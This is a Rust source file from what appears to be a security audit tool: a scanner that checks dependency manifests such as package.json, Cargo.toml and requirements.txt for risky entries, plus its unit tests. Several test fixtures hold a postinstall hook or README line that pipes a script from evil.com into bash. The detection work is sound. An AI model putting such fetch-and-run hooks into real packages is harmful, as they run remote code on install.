Skip to main content

cc_audit/engine/scanners/
dependency.rs

1use crate::engine::scanner::{Scanner, ScannerConfig};
2use crate::error::Result;
3use crate::rules::Finding;
4use std::path::Path;
5use walkdir::WalkDir;
6
7const DEPENDENCY_FILES: &[&str] = &[
8    "package.json",
9    "package-lock.json",
10    "Cargo.toml",
11    "Cargo.lock",
12    "requirements.txt",
13    "pyproject.toml",
14    "poetry.lock",
15    "Pipfile",
16    "Pipfile.lock",
17    "Gemfile",
18    "Gemfile.lock",
19    "go.mod",
20    "go.sum",
21    "pom.xml",
22    "build.gradle",
23    "composer.json",
24    "composer.lock",
25];
26
27pub struct DependencyScanner {
28    config: ScannerConfig,
29}
30
31impl_scanner_builder!(DependencyScanner);
32impl_content_scanner!(DependencyScanner);
33
34impl DependencyScanner {
35    fn is_dependency_file(path: &Path) -> bool {
36        path.file_name()
37            .and_then(|name| name.to_str())
38            .map(|name| DEPENDENCY_FILES.contains(&name))
39            .unwrap_or(false)
40    }
41}
42
43impl Scanner for DependencyScanner {
44    fn scan_file(&self, path: &Path) -> Result<Vec<Finding>> {
45        let content = self.config.read_file(path)?;
46        let path_str = path.display().to_string();
47        Ok(self.config.check_content(&content, &path_str))
48    }
49
50    fn scan_directory(&self, dir: &Path) -> Result<Vec<Finding>> {
51        let mut findings = Vec::new();
52
53        for entry in WalkDir::new(dir)
54            .into_iter()
55            .filter_map(|e| e.ok())
56            .filter(|e| e.path().is_file())
57        {
58            let path = entry.path();
59            if Self::is_dependency_file(path)
60                && let Ok(file_findings) = self.scan_file(path)
61            {
62                findings.extend(file_findings);
63            }
64        }
65
66        Ok(findings)
67    }
68}
69
70#[cfg(test)]
71mod tests {
72    use super::*;
73    use crate::engine::scanner::ContentScanner;
74    use std::fs;
75    use tempfile::TempDir;
76
77    fn create_file(dir: &TempDir, name: &str, content: &str) -> std::path::PathBuf {
78        let path = dir.path().join(name);
79        fs::write(&path, content).unwrap();
80        path
81    }
82
83    #[test]
84    fn test_scan_clean_package_json() {
85        let dir = TempDir::new().unwrap();
86        create_file(
87            &dir,
88            "package.json",
89            r#"{
90              "name": "clean-package",
91              "version": "1.0.0",
92              "dependencies": {
93                "express": "^4.18.0"
94              }
95            }"#,
96        );
97
98        let scanner = DependencyScanner::new();
99        let findings = scanner.scan_path(dir.path()).unwrap();
100
101        assert!(
102            findings.is_empty(),
103            "Clean package.json should have no findings"
104        );
105    }
106
107    #[test]
108    fn test_detect_dangerous_postinstall() {
109        let dir = TempDir::new().unwrap();
110        create_file(
111            &dir,
112            "package.json",
113            r#"{
114              "name": "malicious-package",
115              "scripts": {
116                "postinstall": "curl http://evil.com/script.sh | bash"
117              }
118            }"#,
119        );
120
121        let scanner = DependencyScanner::new();
122        let findings = scanner.scan_path(dir.path()).unwrap();
123
124        assert!(
125            findings
126                .iter()
127                .any(|f| f.id == "DEP-001" || f.id == "SC-001"),
128            "Should detect dangerous postinstall script"
129        );
130    }
131
132    #[test]
133    fn test_detect_git_dependency() {
134        let dir = TempDir::new().unwrap();
135        create_file(
136            &dir,
137            "package.json",
138            r#"{
139              "name": "package-with-git-dep",
140              "dependencies": {
141                "my-lib": "git://github.com/user/repo"
142              }
143            }"#,
144        );
145
146        let scanner = DependencyScanner::new();
147        let findings = scanner.scan_path(dir.path()).unwrap();
148
149        assert!(
150            findings.iter().any(|f| f.id == "DEP-002"),
151            "Should detect git:// dependency"
152        );
153    }
154
155    #[test]
156    fn test_detect_wildcard_version() {
157        let dir = TempDir::new().unwrap();
158        create_file(
159            &dir,
160            "package.json",
161            r#"{
162              "name": "package-with-wildcard",
163              "dependencies": {
164                "dangerous-lib": "*"
165              }
166            }"#,
167        );
168
169        let scanner = DependencyScanner::new();
170        let findings = scanner.scan_path(dir.path()).unwrap();
171
172        assert!(
173            findings.iter().any(|f| f.id == "DEP-003"),
174            "Should detect wildcard version"
175        );
176    }
177
178    #[test]
179    fn test_detect_http_dependency() {
180        let dir = TempDir::new().unwrap();
181        create_file(
182            &dir,
183            "package.json",
184            r#"{
185              "name": "package-with-http",
186              "dependencies": {
187                "insecure-lib": "http://example.com/package.tar.gz"
188              }
189            }"#,
190        );
191
192        let scanner = DependencyScanner::new();
193        let findings = scanner.scan_path(dir.path()).unwrap();
194
195        assert!(
196            findings
197                .iter()
198                .any(|f| f.id == "DEP-004" || f.id == "DEP-005"),
199            "Should detect HTTP/tarball dependency"
200        );
201    }
202
203    #[test]
204    fn test_scan_cargo_toml() {
205        let dir = TempDir::new().unwrap();
206        create_file(
207            &dir,
208            "Cargo.toml",
209            r#"
210[package]
211name = "risky-crate"
212version = "0.1.0"
213
214[dependencies]
215some-lib = { git = "https://github.com/user/repo" }
216"#,
217        );
218
219        let scanner = DependencyScanner::new();
220        let findings = scanner.scan_path(dir.path()).unwrap();
221
222        assert!(
223            findings.iter().any(|f| f.id == "DEP-002"),
224            "Should detect git dependency in Cargo.toml"
225        );
226    }
227
228    #[test]
229    fn test_scan_requirements_txt() {
230        let dir = TempDir::new().unwrap();
231        create_file(
232            &dir,
233            "requirements.txt",
234            "git+https://github.com/user/repo.git\nrequests==2.28.0\n",
235        );
236
237        let scanner = DependencyScanner::new();
238        let findings = scanner.scan_path(dir.path()).unwrap();
239
240        assert!(
241            findings.iter().any(|f| f.id == "DEP-002"),
242            "Should detect git+ dependency in requirements.txt"
243        );
244    }
245
246    #[test]
247    fn test_ignore_non_dependency_files() {
248        let dir = TempDir::new().unwrap();
249        create_file(&dir, "README.md", "curl http://evil.com | bash");
250        create_file(&dir, "config.json", r#"{"url": "http://evil.com"}"#);
251
252        let scanner = DependencyScanner::new();
253        let findings = scanner.scan_path(dir.path()).unwrap();
254
255        assert!(findings.is_empty(), "Should not scan non-dependency files");
256    }
257
258    #[test]
259    fn test_scan_nested_dependency_files() {
260        let dir = TempDir::new().unwrap();
261        let sub_dir = dir.path().join("subproject");
262        fs::create_dir(&sub_dir).unwrap();
263        fs::write(
264            sub_dir.join("package.json"),
265            r#"{"dependencies": {"evil": "*"}}"#,
266        )
267        .unwrap();
268
269        let scanner = DependencyScanner::new();
270        let findings = scanner.scan_path(dir.path()).unwrap();
271
272        assert!(
273            findings.iter().any(|f| f.id == "DEP-003"),
274            "Should scan nested dependency files"
275        );
276    }
277
278    #[test]
279    fn test_scan_single_file() {
280        let dir = TempDir::new().unwrap();
281        let file_path = create_file(
282            &dir,
283            "package.json",
284            r#"{"dependencies": {"lib": "latest"}}"#,
285        );
286
287        let scanner = DependencyScanner::new();
288        let findings = scanner.scan_file(&file_path).unwrap();
289
290        assert!(
291            findings.iter().any(|f| f.id == "DEP-003"),
292            "Should detect 'latest' version"
293        );
294    }
295
296    #[test]
297    fn test_is_dependency_file() {
298        assert!(DependencyScanner::is_dependency_file(Path::new(
299            "package.json"
300        )));
301        assert!(DependencyScanner::is_dependency_file(Path::new(
302            "Cargo.toml"
303        )));
304        assert!(DependencyScanner::is_dependency_file(Path::new(
305            "requirements.txt"
306        )));
307        assert!(DependencyScanner::is_dependency_file(Path::new(
308            "pyproject.toml"
309        )));
310        assert!(DependencyScanner::is_dependency_file(Path::new("Gemfile")));
311        assert!(DependencyScanner::is_dependency_file(Path::new("go.mod")));
312        assert!(DependencyScanner::is_dependency_file(Path::new("pom.xml")));
313        assert!(DependencyScanner::is_dependency_file(Path::new(
314            "composer.json"
315        )));
316
317        assert!(!DependencyScanner::is_dependency_file(Path::new(
318            "README.md"
319        )));
320        assert!(!DependencyScanner::is_dependency_file(Path::new(
321            "config.json"
322        )));
323        assert!(!DependencyScanner::is_dependency_file(Path::new("main.rs")));
324    }
325
326    #[test]
327    fn test_default_trait() {
328        let scanner = DependencyScanner::default();
329        let dir = TempDir::new().unwrap();
330        let findings = scanner.scan_path(dir.path()).unwrap();
331        assert!(findings.is_empty());
332    }
333
334    #[test]
335    fn test_scan_content_directly() {
336        let scanner = DependencyScanner::new();
337        let content = r#"{"scripts": {"postinstall": "curl http://evil.com | bash"}}"#;
338        let findings = scanner.scan_content(content, "package.json").unwrap();
339        assert!(!findings.is_empty());
340    }
341
342    #[test]
343    fn test_scan_nonexistent_path() {
344        let scanner = DependencyScanner::new();
345        let result = scanner.scan_path(Path::new("/nonexistent/path"));
346        assert!(result.is_err());
347    }
348
349    #[test]
350    fn test_with_skip_comments() {
351        let scanner = DependencyScanner::new().with_skip_comments(true);
352        let dir = TempDir::new().unwrap();
353        create_file(
354            &dir,
355            "requirements.txt",
356            "# git+https://github.com/user/repo\nrequests==2.28.0",
357        );
358
359        let findings = scanner.scan_path(dir.path()).unwrap();
360        // The git+ line is a comment, so should be skipped
361        assert!(
362            !findings.iter().any(|f| f.id == "DEP-002"),
363            "Should skip commented lines when skip_comments is true"
364        );
365    }
366
367    #[test]
368    fn test_multiple_dependency_files() {
369        let dir = TempDir::new().unwrap();
370        create_file(&dir, "package.json", r#"{"dependencies": {"a": "*"}}"#);
371        create_file(
372            &dir,
373            "Cargo.toml",
374            r#"[dependencies]\nb = { version = "*" }"#,
375        );
376
377        let scanner = DependencyScanner::new();
378        let findings = scanner.scan_path(dir.path()).unwrap();
379
380        assert!(findings.len() >= 2, "Should find issues in both files");
381    }
382}